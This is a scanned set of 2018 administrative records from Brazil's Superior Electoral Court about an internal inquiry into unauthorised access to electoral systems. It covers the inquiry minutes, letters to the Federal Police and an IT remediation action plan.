  Documento assinado eletronicamente em 23/11/2018, às 15:11, conforme art. 1º, §2º, III,
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b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0911585&crc=62AE7692,

informando, caso não preenchido, o código verificador 0911585 e o código CRC 62AE7692.

2018.00.000014309-3 Documento no 0911585 v13
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TRIBUNAL SUPERIOR ELEITORAL

Ata GAB-SPR nº 2/2018

Tribunal Superior Eleitoral

Comissão de Sindicância - Portaria TSE nº 976/2018

Registro da 1ª reunião - DOCUMENTO RESERVADO

 

1. Identificação da reunião

1.1. Data da reunião: 14/11/2018;

1.2. Horário de início: 15h05;

1.3. Horário de término: 15h25;

1.4. Local: Sala de reuniões da Presidência do TSE;

1.5. Relator: Sérgio Trés.

 

2. Objetivo

2.1. 1ª Reunião Ordinária da Comissão de Sindicância criada para tratar da denúncia

de acesso indevido a dados relativos a sistemas eleitorais e ao projeto de hardware da

UE2018, conforme registrado na Informação nº 32 STI, constante no processo TSE SEI

2018.00.000014309-3.

 

3. Participantes

3.1. Presidente: Ricardo Fioreze - ricardo.fioreze@tse.jus.br - (61) 3030-7995

3.2. Membro: Fernando Pessôa da Silveira Mello - fernando.mello@tse.jus.br -

 (61) 3030-9076

3.3. Membro: Daniel Carlos Lima Corrêa - daniel.correa@tse.jus.br -  (61) 3030-7424

 

4. Assuntos tratados

4.1. O Senhor Ricardo Fioreze apresentou-se e deu início à reunião, agradecendo a

presença dos demais e informando que o objetivo principal do encontro é formalizar a
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instalação da Comissão de Sindicância e iniciar a apuração administrativa dos fatos

apresentados na Informação nº 32 da Secretaria de Tecnologia da Informação (STI).

4.2. Esclareceu que o objetivo principal desta Comissão de Sindicância é a apuração

da falha ou irregularidade cometida, considerando-se os fatos apresentados.

4.3. Relatou ainda a designação do servidor Sérgio Trés para secretariar a Comissão e

para realizar o necessário apoio administrativo a seus membros.

4.4. O Senhor Ricardo Fioreze propôs seja confirmado, junto à Presidência do

Tribunal, se houve o encaminhamento da Informação nº 32 STI à Polícia Federal e, em

caso positivo, seja juntado o respectivo expediente ao presente processo e sejam solicitadas

à Polícia Federal informações sobre o andamento da investigação e o envio ao Presidente

da Comissão de Sindicância, em caráter reservado, dos elementos obtidos com a

investigação, o que foi aprovado pela Comissão de Sindicância.

4.5. Propôs ainda que seja dado conhecimento da instalação desta Comissão à Polícia

Federal, para que se viabilize troca de informações e auxílio mútuo, sempre que necessário

e possível, o que também foi aprovado pela Comissão.

4.6. Acrescentou que a STI, segundo se extrai do conteúdo da Informação nº 32 STI,

está dando continuidade à investigação lá iniciada, com a finalidade de verificar o efetivo

alcance e danos provocados pelo acesso indevido noticiado na Informação nº 32 STI, e, em

razão disso, propôs seja solicitado àquela Secretaria o envio ao Presidente da Comissão de

Sindicância, em caráter reservado, das demais conclusões alcançadas por aquela área em

razão da continuidade da apuração lá desenvolvida, o que igualmente foi aprovado pela

Comissão.

4.7. O Senhor Daniel Carlos Lima Corrêa ressaltou que devem ser apuradas as

condições que permitiram a ocorrência deste acesso indevido e, em especial, se a pessoa

responsável pela ocorrência ainda está ou não com acesso a rede do TSE, para impedir que

o novo acesso indevido possa vir a ocorrer.

4.8. O Senhor Ricardo Fioreze relatou que:

4.8.1. De fato, houve o relato de invasão para coleta de informações de acesso restrito;

4.8.2. Em tendo havido este acesso indevido, a bases de dados restritas ou a outros

sistemas ou elementos, deve-se identificar a origem desse acesso, de forma que se

impossibilite nova ocorrência similar.

4.9. O Senhor Fernando Pessôa da Silveira Mello propôs que, a partir das respostas

recebidas da Polícia Federal e da STI, seja dada continuidade à investigação desta

Comissão.

4.10. O Senhor Daniel Carlos Lima Corrêa relatou que a STI havia descoberto

previamente que alguns dos sistemas utilizados pelo TSE apresentavam vulnerabilidades e

vinham sendo corrigidos ou inativados ao longo do tempo, como ocorreu recentemente

com o sistema do “Malote Digital”.
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4.11. Acrescentou que outra pergunta que deverá ser respondida posteriormente é se

este acesso indevido foi antigo e não pode mais ocorrer pela correção do problema, ou se

ainda há alguma vulnerabilidade passível de ser explorada de forma mal-intencionada.

4.12. O Senhor Ricardo Fioreze agradeceu a presença de todos, encerrando a sessão, e

informou que as próximas reuniões da Comissão serão agendadas conforme se faça

necessário.

 

5. Pendências

5.1. Verificar se foi produzido e, em caso positivo, juntar ao processo SEI

2018.00.000014309-3 expediente enviado ao Departamento de Polícia Federal dando

conhecimento da Informação nº 32 STI.

5.2. Dar conhecimento ao Departamento de Polícia Federal sobre a instalação de

Comissão de Sindicância no âmbito do TSE, visando a apurar os fatos relatados na

Informação nº 32 STI, e, paralelamente, solicitar que sejam encaminhados ao Presidente da

Comissão, em caráter reservado, os resultados da investigação que vem sendo promovida

por aquele Departamento sobre o mesmo assunto.

5.3. Solicitar à STI que informe sobre outras conclusões alcançadas por aquela área em

razão da continuidade da apuração lá desenvolvida envolvendo os fatos relatados na

Informação nº 32 STI.

 

6. Anexos

6.1. Sem anexos.

 

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

  Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1º, §2º, III,

b, da Lei 11.419/2006.

DANIEL CARLOS LIMA CORRÊA

ASSESSOR(A) II

  Documento assinado eletronicamente em 26/11/2018, às 15:26, conforme art. 1º, §2º, III,

b, da Lei 11.419/2006.

FERNANDO PESSÔA DA SILVEIRA MELLO

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

  Documento assinado eletronicamente em 12/08/2019, às 16:02, conforme art. 1º, §2º, III, b, da Lei

11.419/2006.
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A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0912705&crc=E823BB85,

informando, caso não preenchido, o código verificador 0912705 e o código CRC E823BB85.

2018.00.000014309-3 Documento no 0912705 v12
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TRIBUNAL SUPERIOR ELEITORAL

Ofício ns 5825 GAB-SPR

Brasília, 06 de novembro de 2018.

Á Sua Excelência o Senhor

ROGÉRIO AUGUSTO VIANA GALLORO

Diretor-Geral da Polícia Federal

Brasília - DF

Assunto: Medidas de polícia judiciária.

Senhor Diretor-Geral,

Tendo em vista o teor do e-mail que acompanha o
presente ofício (anexo - I), bem como dos documentos e
imagens nele veiculadas (mídia digital - anexo II), solicito a
Vossa Excelência a adoção das medidas administrativas de
polícia judiciária pertinentes.

Atenciosamente,

Miistra ROSA WEBER

Presidente

J :oo«—
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TRIBUNAL SUPERIOR ELEllORAL 

Ofício nº 5825 GAB-SPR 

Brasília, 06 de novembro de 2018. 

A Sua Excelência o Senhor 

ROGÉRIO AUGUSTO VIANA GALLORO 

Diretor-Geral da Polícia Federal 

Brasília - DF 

Assunto: Medidas de polfda judiciária. 

Senhor Diretor-Geral, 

Tendo em vista o teor do e-mail que acompanha o 
presente ofício (anexo - I), bem como dos documentos e 
imagens nele veiculadas (mídia digital - anexo 11), solicito a 
Vossa Excelência a adoção das medidas administrativas de 
polícia judiciária pertinentes. 

Atenciosamente, 

tJh ｍｩｾｓａｗｅｂｅｒ＠
. Presidente 
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E-mail - 0918365

Data de Envio: 
  23/11/2018 15:22:12

De: 
  TSE/Presidência <presidencia@tse.jus.br>

Para:
    dg@dpf.gov.br

Assunto: 
  Ofício nº 5979 GAB-SPR. Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 

Mensagem: 
  Ao Gabinete da Diretoria-Geral,

Prezados Senhores,

Encaminho em anexo o Ofício nº 5979 GAB-SPR.

Solicito a gentileza de ser confirmado o recebimento do documento, para juntada do comprovante no
processo.

Atenciosamente,

Sérgio Trés
Secretaria-Geral da Presidência
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
    Oficio_0911585.html
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E-mail - 0918450

Data de Envio: 
  23/11/2018 15:51:18

De: 
  TSE/Presidência <presidencia@tse.jus.br>

Para:
    giuseppe.janino@tse.jus.br

Assunto: 
  Memorando nº 125 GAB-SPR. Assunto: Informação nº 32 STI.

Mensagem: 
  Prezado Senhor Giuseppe,

De ordem, encaminho em anexo o Memorando nº 125 GAB-SPR.

Solicito a gentileza de confirmação de recebimento do documento, para ser juntada ao processo de
sindicância.

Atenciosamente,

Sérgio Trés
Secretaria-Geral da Presidência
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
    Memorando_0911528.html
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1

Thaiane de Oliveira Veras

De: Giuseppe Dutra Janino
Enviado em: sexta-feira, 23 de novembro de 2018 18:41
Para: Presidencia
Assunto: RES: Memorando nº 125 GAB-SPR. Assunto: Informação nº 32 STI.

Recebi do.  
At enci osament e,  
Gi useppe Jani no 
 
- - - - - Mensagem or i gi nal - - - - -  
De:  TSE/ Pr esi dênci a [ mai l t o: pr esi denci a@t se. j us. br ]  Envi ada em:  sext a- f ei r a,  23 de 
novembr o de 2018 15: 51 
Par a:  Gi useppe Dut r a Jani no 
Assunt o:  Memor ando nº  125 GAB- SPR.  Assunt o:  I nf or mação nº  32 STI .  
 
Pr ezado Senhor  Gi useppe,  
 
 
De or dem,  encami nho em anexo o Memor ando nº  125 GAB- SPR.  
 
Sol i ci t o a gent i l eza de conf i r mação de r ecebi ment o do document o,  par a ser  j unt ada ao 
pr ocesso de si ndi cânci a.  
 
 
At enci osament e,  
 
Sér gi o Tr és 
Secr et ar i a- Ger al  da Pr esi dênci a 
Tr i bunal  Super i or  El ei t or al  
Tel ef one ( 61)  3030- 7837 
 

E-mail comprovante de recebimento STI - Memorando 125 (0918917)         SEI 2018.00.000014309-3 / pg. 32

Sigiloso
Fl. 129
SR/PF/DF

2020.0043195

E
s
t
e
 
d
o
c
u
m
e
n
t
o
 
t
e
m
 
o
 
m
e
s
m
o
 
v
a
l
o
r
 
p
r
o
b
a
n
t
e
 
d
o
 
o
r
i
g
i
n
a
l
 
a
p
r
e
s
e
n
t
a
d
o
,
 
n
o
s
 
t
e
r
m
o
s
 
d
o
 
§
 
1
º
 
d
o
 
A
r
t
.
 
1
1
 
d
a
 
L
e
i
 
1
1
.
4
1
9
/
2
0
0
6
.

A
u
t
e
n
t
i
c
a
d
o
 
p
o
r
 
E
s
c
r
i
v
a
o
 
d
e
 
P
o
l
i
c
i
a
 
F
e
d
e
r
a
l
,
 
L
E
O
N
A
R
D
O
 
B
R
U
C
E
 
M
A
D
U
R
E
I
R
A
 
L
O
P
E
S
,
 
M
A
T
R
Í
C
U
L
A
:
 
1
7
9
3
3
,
 
e
m
 
0
4
/
1
1
/
2
0
2
0
,
 
à
s
 
1
1
h
2
0
.

Fl. 306
SR/PF/DF

2020.0043195



TRIBUNAL SUPERIOR ELEITORAL

Memorando n.° 211 - STI
Em 26 de novembro de 2018.

Ao Exmo. Senhor Presidente da Comissão de Sindicância

Assunto: Resposta. Memorando n° 125 GAB-SPR

1. Reporto-me ao Memorando n° 125 GAB-SPR para encaminhar

documento anexo (Plano de Ação - PA2018 - Ampliação das

Proteções de Segurança), disponível mediante o Processo SEI

2018.00.000014939-3, contendo informações sobre as providências a

serem adotadas por esta Secretaria de Tecnologia da Informação

visando sanear as fragilidades que resultaram no acesso indevido.

2. Cumpre ressaltar que o supracitado plano de ação está em

andamento, com algumas atividades já concluídas, e outras com data

planejada para execução.

Respeitosamente,

GIUSEPPE^HTRA JANINO
Secretário de Tecnologia da Informação

Memorando 211 STI (resposta ao Memorando 125) (0931972)         SEI 2018.00.000014309-3 / pg. 33

TRIBUNAL SUPERIOR ELEITORAL 

Memorando n.o 211 - STI 
Em 26 de novembro de 2018. 

Ao Exmo. Senhor Presidente da Comissão de Sindicância 

Assunto: Resposta. Memorando nO 125 GAB-SPR 

1. Reporto-me ao Memorando nO 125 GAB-SPR para encaminhar 

documento anexo (Plano de Ação - PA2018 - Ampliação das 

Proteções de Segurança), disponível mediante o Processo SEI 

2018.00.000014939-3, contendo informações sobre as providências a 

serem adotadas por esta Secretaria de Tecnologia da Informação 

visando sanear as fragilidades que resultaram no acesso indevido. 

2. Cumpre ressaltar que o supracitado plano de ação está em 

andamento, com algumas atividades já concluídas, e outras com data 

planejada para execução. 

Respeitosamente, 

GIUSEPP 
Secretário de Te 

JANINO 
da Informação 
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Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos Plano de Ação - PA

(Abertura)
TSE

N° Protocolo SEI: 2018.00.000014939-3

PA2018 - Ampliação das Proteções de Segurança

Tipo de ação: £3 Corretiva Ê<] Preventiva

1 . Identificação do plano de ação

de Melhoria

Cliente:

Unidade:

Nome:

STI

Giuseppe Dutra Janino
Ramal: 8884

E-mail: giuseppe.janino@tse.jus.br

Unidade executora: STI

Gerente do plano: Nome: Marcelo Lauriano Lúcio
Ramal:

E-mail:

Ramal:

8911

marcelo.lauriano@tse.jus.br

8840

E-mail: wylker.barros@tse.jus.br

Data prevista de
início:

07/11/2018 H/04/2019

Iniciativa vinculada: Não se aplica.

Alinhamento PDTI:
AF. 28 - Monitorar continuamente os serviços de Tl, a fim de realizar as intervenções
necessárias em caso de indisponibilidade e ameaças de segurança.

2. Histórico de revisão do documento

Versão Data Responsável Descrição

0.1 13/11/2018 Wylker Silveira Barras Elaboração do documento

0.2 19/11/2018 Marcelo Lauriano Lúcio Revisão do documento pelo gerente do projeto.

0.3 19/11/2018 Wylker Silveira Barras Aplicação de ajustes após revisão do gerente do
projeto.

0.4 20/11/2018 Adriana Amaral 1a revisão da Seproj e registro de considerações de
ajustes.

0.5 20/11/2018 Wylker Silveira Barras Aplicação de ajustes após revisão da Seproj.

0.6 20/11/2018 Giuseppe Dutra Janino Revisão do documento pelo cliente.

0.7 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão do cliente.

1.0 21/11/2018 Adriana Amaral Revisão final da Seproj para deliberação na CTTI.

3. Cenários

3.1 Cenário atual

Após revisão das políticas de segurança e do inventário tecnológico relacionado a proteção de
dados e integridade de informações do TSE, foram observadas vulnerabilidades que precisam
ser minimizadas ou suprimidas. É cediço que o TSE possui base de informações sensíveis e
precisa aprimorar seus mecanismos para manter esses dados e informações em sigilo, assim
como tomar ações preventivas para manter a inviolabilidade dos sistemas que compõem o
processo eleitoral.

Arquivo: pa2018-ampliacaoseguranca
Versão do modelo: 2.13 - 03/08/2018 Página 1 de 3
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TSE 

Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação - PA 

(Abertura) 

N° Protocolo SEI: 2018.00.000014939-3 

PA2018 - Ampliação das Proteções de Segurança 

Tipo de ação: [8] Corretiva [8] Preventiva [8] de Melhoria 

1. Identificação do plano de ação 

Unidade: STI 

Cliente: 
Nome: Giuseppe Dutra Janino 

Ramal : 

E-mai/: 

8884 

giuseppe.janino@tse.jus.br 

Unidade executora: STI 

Gerente do plano: 

Apoio gerencial: 

Data prevista de 
inicio: 

Nome: Marcelo Lauriano Lucio 

Nome: Wylker Silveira Barros 

07/11/2018 

Ramal: 8911 

E-mail: marcelo.lauriano@tse.jus.br 

Ramal: 8840 
ｾＭＭＭＭＭＭｾ＠ -----

E-mail: wylker.barros@tse.jus.br 

Data prevista de 
término: 11/04/2019 

Iniciativa vinculada: Não se aplica. 

Alinhamento PDTI: AF. 28 - Monitorar continuamente os serviços de TI , a fim de realizar as intervenções 
necessárias em caso de indisponibilidade e ameaças de segurança. 

2. Histórico de revisão do documento 

Versão Data Responsável Descrição 

0.1 13/11/2018 Wylker Silveira Barros Elaboração do documento. 

0.2 19/11/2018 Marcelo Lauriano Lucio Revisão do documento pelo gerente do projeto. 

0.3 19/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão do gerente do 
projeto. 

004 20/11/2018 Adriana Amaral 1" revisão da Seproj e registro de considerações de 
ajustes. 

0.5 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão da Seproj . 

0.6 20/11/2018 Giuseppe Dutra Janino Revisão do documento pelo cliente. 

0.7 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão do cliente. 

1.0 21/11/2018 Adriana Amaral Revisão final da Seproj para deliberação na eTII . 

3. Cenários 

3.1 Cenário atual 

Após revisão das políticas de segurança e do inventário tecnológico relacionado a proteção de 
dados e integridade de informações do TSE, foram observadas vulnerabilidades que precisam 
ser minimizadas ou suprimidas. É cediço que o TSE possui base de informações sensíveis e 
precisa aprimorar seus mecanismos para manter esses dados e informações em sigilo , assim 
como tomar ações preventivas para manter a inviolabilidade dos sistemas que compõem o 
processo eleitoral. 

Arquivo: pa2018-ampliacaoseguranca 
Versllo do modelo: 2.13 - 03/0812018 Página 1 de 3 
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Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos

TSE

Plano de Ação - PA
(Abertura)

3.2 Cenário futuro

Com o objetivo de responder ao diagnóstico de vulnerabilidades nos mecanismos de
segurança da informação no âmbito da Justiça Eleitoral, serão aplicados procedimentos,
políticas e normas de segurança consideradas fundamentais para o devido tratamento dos
riscos com ataques externos e internos. As ações previstas nesta iniciativa contemplam desde
o encaminhamento de recomendações aos usuários dos serviços da JE, de análise de
viabilidade de publicação de código-fonte, de investimentos em atualização tecnológica, até a
solicitação formal para criação de unidade de segurança de tecnologia da informação.

4. Áreas, grupos ou entidades impactados

Área
externa à

STI*

X

X

Área, grupo ou
entidade

impactados

SEC

Polícia Federal

STI

Descrição do impacto previsto

Cliente da iniciativa, responsável pela
definição das diretrizes do plano de ação e
pelo apoio formal nas medidas
recomendadas e adotadas pelo corpo
técnico da STI.

Responsável por apurar reportar sobre
eventuais falhas de segurança na rede do
TSE.

Cliente da iniciativa, responsável pela
definição das diretrizes do plano de ação.

E-mail

gabdg@tse.jus.br

Não se aplica.

giuseppe.janino@tse.jus.br
gabsti@tse.jus.br

Líder do escritório de crise. Responsável por
GAB-STI planejar, conduzir e monitorar as atividades

e ações contempladas na iniciativa.

elmano.alves@tse.jus.br
marcelo.lauriano@tse.jus.br

Escritório de Crise

Responsável alinhamento, ordenação e
execução das atividades do plano de ação,
bem como por colaborar com as demais
partes interessadas no fornecimento de
informações. O grupo é constituído pele
secretário de Tl, coordenadores da STI e
chefes de seção.
O grupo não está formalizado.

Não de aplica.

Coinf

Membro do escritório de crise. Responsável
por apoiar a aplicação de ações
relacionadas a elaboração de políticas e
normas de segurança, bem como participar
diretamente das atividades que fomentem a
segurança do ambiente tecnológico da JE.

cristiano.andrade@tse.jus.br
coinf@tse.jus.br

Sesap/Coinf

Membro do escritório de crise. Responsável
por apoiar a aplicação de ações
relacionadas a elaboração de políticas e
normas de segurança, bem como participar
diretamente das atividades que fomentem a
segurança do ambiente tecnológico da JE.

ivanildo.gomes@tse.jus.br
sesap@tse.jus.br

Membro do escritório de crise.
Responsável por apoiar a aplicação de
ações relacionadas a elaboração de políticas

Sesop/Coinf e normas de segurança, bem como
participar diretamente das atividades que
fomentem a segurança do ambiente
tecnológico da JE.

marcelo.carneiro@tse.jus.br
sesop@tse.jus.br

Arquivo: pa2018-ampliacaoseguranca
Versão do modelo: 2.13 - 03/08/2018 Página 2 de 3
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação - PA 

(Abertura) 
TSE 

3.2 Cenário futuro 

Com o objetivo de responder ao diagnóstico de vulnerabilidades nos mecanismos de 
segurança da informação no âmbito da Justiça Eleitoral, serão aplicados procedimentos, 
políticas e normas de segurança consideradas fundamentais para o devido tratamento dos 
riscos com ataques externos e internos. As ações previstas nesta iniciativa contemplam desde 
o encaminhamento de recomendações aos usuários dos serviços da JE, de análise de 
viabilidade de publicação de código-fonte, de investimentos em atualização tecnológica, até a 
solicitação formal para criação de unidade de segurança de tecnologia da informação. 

4. Áreas, grupos ou entidades impactados 

Área 
externa à 

STI* 

X 

X 

I 

I 

I 

I 

I 

I 
I 

\ 

Área, grupo ou 
entidade 

impactados 

SEC 

Polícia Federal 

STI 

GAB-STI 

Escritório de Crise 

Coinf 

Sesap/Coinf 

Sesop/Coinf 

Arquivo: pa2018-amphacaoseguranca 
Versao do modelo: 2.13 - 03/0812018 

Descrição do impacto previsto 

Cliente da iniciativa, responsável pela 
definição das diretrizes do plano de ação e 
pelo apoio formal nas medidas 
recomendadas e adotadas pelo corpo 
técnico da STI . 

Responsável por apurar reportar sobre 
eventuais falhas de segurança na rede do 
TSE. 

Cliente da iniciativa, responsável pela 
definição das diretrizes do plano de ação. 

Líder do escritório de crise. Responsável por 
planejar, conduzir e monitorar as atividades 
e ações contempladas na iniciativa. 

Responsável alinhamento, ordenação e 
execução das atividades do plano de ação, 
bem como por colaborar com as demais 
partes interessadas no fornecimento de 
infonmações. O grupo é constituído pele 
secretário de TI , coordenadores da STI e 
chefes de seção. 
O grupo não está fonmalizado. 

Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e 
normas de segurança, bem como participar 
diretamente das atividades que fomentem a 
segurança do ambiente tecnológico da JE. 

Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de polfticas e 
normas de segurança, bem como participar 
diretamente das atividades que fomentem a 
segurança do ambiente tecnológico da JE. 

Membro do escritório de crise. 

Responsável por apoiar a aplicação de 
ações relacionadas a elaboração de políticas 
e nonmas de segurança, bem como 
participar diretamente das atividades que 
fomentem a segurança do ambiente 
tecnológico da JE. 

E-mail 

gabdg@tse.jus.br 

Não se aplica. 

giuseppe.janino@tse.jus.br 
gabsti@tse.jus.br 

elmano.alves@tse.jus.br 
marcelo.lauriano@tse.jus.br 

Não de aplica. 

cristíano.andrade@tse.jus.br 
coinf@tse.jus.br 

ivanildo.gomes@tse.jus.br 
sesap@tse.jus.br 

marcelo.carneiro@tse.jus.br 
sesop@tse.jus.br 
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ÇÉ
TSE

Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos Plano de Ação - PA

(Abertura)

Área
externa à

STI*

Área, grupo ou
entidade

impactados
Descrição do impacto previsto E-mail

Membro do escritório de crise.

Responsável por apoiar a aplicação de
ações relacionadas a elaboração de políticas

Seint/Csele e normas de segurança, bem como
participar diretamente das atividades que
fomentem a segurança do ambiente
tecnológico da JE.

alberto.cavalcante@tse.jus.br
seint@tse.jus.br

Sevin/Csele

Membro do escritório de crise. Responsável
por apoiar a aplicação de ações
relacionadas a elaboração de políticas e
normas de segurança, bem como participar
diretamente das atividades que fomentem a
segurança do ambiente tecnológico da JE.

rodrigo.coimbra@tse.jus.br
sevin@tse.jus.br

Membro do escritório de crise. Responsável
pelo acompanhamento do projeto, prestação
de suporte metodológico no que se refere às
atividades de gerenciamento de projeto,
consolidação e reporte das informações do
projeto à alta gestão da STI.

' Áreas externas devem ser sinalizadas com "x" na coluna 'Área externa à STI'.

Seproj/COGTI
ladjane.arruda@tse.jus.br
seproj@tse.jus.br

5. Critérios para verificação da eficácia

• As ações previstas nesta iniciativa possuem, cada uma delas, critérios individuais de
verificação e serão avaliados após sua conclusão.

6. Premissas/Restrições

• Premissas:
o Disponibilidades das áreas envolvidas na execução das suas ações e na participação

das discussões e decisões do escritório de crise.
o Disponibilidade da equipe da GAB-STI na condução dos trabalhos e na integração das

partes interessadas;
o Disponibilidade da equipe da Seproj no apoio metodológico aplicado a gestão da

iniciativa;
• Restrições:

o As ações previstas na iniciativa devem estar concluídas até março de 2019.

7. Ações a serem implementadas

Vide anexo l: Cronograma do plano de ação extraído da ferramenta corporativa EPM.

8. Riscos do plano de ação

Vide anexo II: Relatório de Riscos do Plano de Ação, extraído da ferramenta corporativa EPM.

9. Aprovação do documento
A Secretaria de Tecnologia da Informação - STI utilizou o Sistema Eletrônico deseu Informações - SEI para assinatura e aprovação deste documento.

Arquivo: pa2018-ampliacaoseguranca
Versão do modelo: 2.13 - 03/08/2018 Página 3 de 3
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação - PA 

(Abertura) 
TSE 

Área 
externa à 

STI* 

I 

Área, grupo ou 
entidade 

impactados 

SeinUCsele 

Sevin/Csele 

Seproj/COGTI 

Descrição do impacto previsto 

Membro do escritório de crise. 

Responsável por apoiar a aplicação de 
ações relacionadas a elaboração de polfticas 
e normas de segurança, bem como 
participar diretamente das atividades que 
fomentem a segurança do ambiente 
tecnológico da JE. 

Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e 
normas de segurança, bem como participar 
diretamente das atividades que fomentem a 
segurança do ambiente tecnológico da JE. 

Membro do escritório de crise. Responsável 
pelo acompanhamento do projeto, prestação 
de suporte metodológico no que se refere às 
atividades de gerenciamento de projeto, 
consolidação e reporte das informações do 
projeto à alta gestão da STI. 

u u . , 
• Areas externas devem ser smalizadas com x na coluna Area externa a STI . 

5. Critérios para verificação da eficácia 

E-mail 

alberto.cavalcante@tse.jus.br 
seint@tse.jus.br 

rodrigo.coimbra@tse.jus.br 
sevin@tse.jus.br 

ladjane.arruda@tse.jus.br 
seproj@tse.jus.br 

• As ações previstas nesta iniciativa possuem, cada uma delas, critérios individuais de 
verificação e serão avaliados após sua conclusão. 

6. Premissas/Restrições 

• Premissas: 
o Disponibilidades das áreas envolvidas na execução das suas ações e na participação 

das discussões e decisões do escritório de crise. 
o Disponibilidade da equipe da GAB-STI na condução dos trabalhos e na integração das 

partes interessadas; 
o Disponibilidade da equipe da Seproj no apoio metodológico aplicado a gestão da 

iniciativa; 
• Restrições: 

o As ações previstas na iniciativa devem estar concluídas até março de 2019. 

7. Ações a serem implementadas 

Vide anexo I: Cronograma do plano de ação extraído da ferramenta corporativa EPM. 

8. Riscos do plano de ação 

Vide anexo 11: Relatório de Riscos do Plano de Ação, extraído da ferramenta corporativa EPM. 

9. Aprovação do documento 

sei. A Secretaria de Tecnologia da Informação - STI utilizou o Sistema Eletrônico de 
Informações - SEI para assinatura e aprovação deste documento. 
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0 0

1 1

: v i-*
E O «

32 U

35 2

2.1

37 v' 2.1.1

38 V 2.1.2

Mome da tarefa
w

' PA2018 - Ampliação das Proteçòes de Segurança
- Gerenciamento da iniciativa

+ Iniciação-Planejamento

+ Reportar Desempenho da Iniciativa

+ Encerramento

- Executar Plano de Ação

- Ações de Curto Prazo

Desligamento dos serviços do servidor de buikl

Desligamento dos equipamentos ío ambiente de apresentação dos códigos-fonte

39 y/ 2.1.3 Bloqueio das contas da SEVIM nos equipamentos servidores APPUF dos tribunais regionais eleitorais

40 v' 2.1.4 Relatório preliminar para a Polícia Federal

41 ,/ 2.1.5

42 v/ 2.1.6

43 v'' 2.1.7

44 y/ 2.1.8

45 M 2.1.9

46 v' 2.1.10

47 S5 2.1.11

48 v/' 2.1.12

49 v' 2.1.13

50 v' 2.1.14

51 ,/ 2.1.15

52 ,/ 2.1.16

Semàforc %
Atraso ' concluída

(è 16%
• 33% |

100%

0 14%

« 0%

% 15%

Duração ; Inicio Término
T w *r

101 dias Oua 07/11/18 Seg 15/04/19

IWdHÍs * |Qui08/11/18 Seg1Sí04/19

9 dias Qui 08/11/18 Qua 21/11/18

45 dias Ter 13/11/18 Seg 11*02/19

7 dias Sex 05/04/19 Seg 15/04/19

94 dias Qua 07/1 1 '18 Quí 04104/19

Q 93% 14 dias Qua 07/11/18 Ter 27/11/18

,/ 100%

v' 100%

y' 100%

1dia Qua 07/1 1/18 Qua 07/11/18

1 dia Qua 07/11/18 Qua 07/11/18

1 dia Qua 07/11/18 Qua 07/11/18

,/ 100% 1 dia Qua07/11/lS Qua 07/1 1/18

Reunião preliminar com a Polícia Federal V 100% 1 dia Qua 07/11/18 Qua 07/1 1/18

Estabelecer o escritório de crise com reuniões diárias v' 1 00%

EíaKorar relatório complementar para a Policia FeOeral

Elaborar lista ordenada do nível de vulnerabilidade das aplicações do TSE. As de maior severidade
serão encaminhadas à administração do TSE corn recomendação de desatívação

Trocar senhas de rede de todos os usuários

Desabilitar VPNs. exceto das embaixadas

i/ 100%

v' 100%

£ 95%

y/ 100%

Planejar uma nova lacração 99%

Avaliar o risco sobre o vazamento do GEDAI-UE */ 100%

Mapear os compartilhamentos de pastas locais

Notificar os usuários e acompanhar os riscos da utilização de pastas compartilhadas

Verificar os equipamentos que estão com o antivirus desabilitado

Elaborar estudo de viabilidade Divulgação do código da urna e do GEDAI

,/ 100%

V 100%

,/ 100%

•S 100%

53 y-' 2.1.17 Notificar es usuários e chefes de seção sobre os equipamentos com antivírus desabilitado quanto aos »/ 100%
riscos para a Instituição

54 S3 2.1.18

55 53 2.1.19

Notificar os tribunais regionais eleitorais quanto às ações locais: Trocar senhas de usuários; Definir (p 80%
política de troca de senhas; Desabilitar servidores de aplicação vulneráveis: Cancelar todas as VPNs

Segurança de perímetro: Revisar os mecanismos de segurança adotados pelo TSE e TREs no acesso (̂  75%
de internet

56 v' 2.1.20 Encaminhar expediente para a Diretoria-Geral solicitando que todos os Fiscais de Contratos do TSE »/ 100%
(#, informem periodicamente á STI situações de desligamentos de colaboradores que fazem uso de

recursos tecnológicos do TSE

57 2.2 - Açòes de Médio Prazo ^ 6%

58 • 2.2.1 Revisar e implantar uma nova política de alteração de senhas periodicamente Verificar os 0%
procedimentos de desabilitar contas de servidores e colaboradores desligados e atualizá-los se
necessário

59 f 22.2

60 2.2.3

61 \s 2.2.4
.

62 f 2.2.5

63 f 22.6

Avaliar criticidade e aplicar ações para tratamento dos diretórios compartilhados na rede 0 40%

Aplicar ações para desatívação ou tratamento especifico das aplicações que apresentam Q 75%
vulnerabilidade

Notificar CGE sobre as ações e tratamentos a serem aplicados no FiliaWeb 1 0%

Elaborar lista ordenada do nível de vulnerabilidade das aplicações dos TREs. As de maior severidade
serão encaminhadas às respectivas administrações regionais com recomendação de desativação

Segurança de rede interna Criar mecanismos de ampliação da proteção dos dados e códigos- fontes

0%

0%

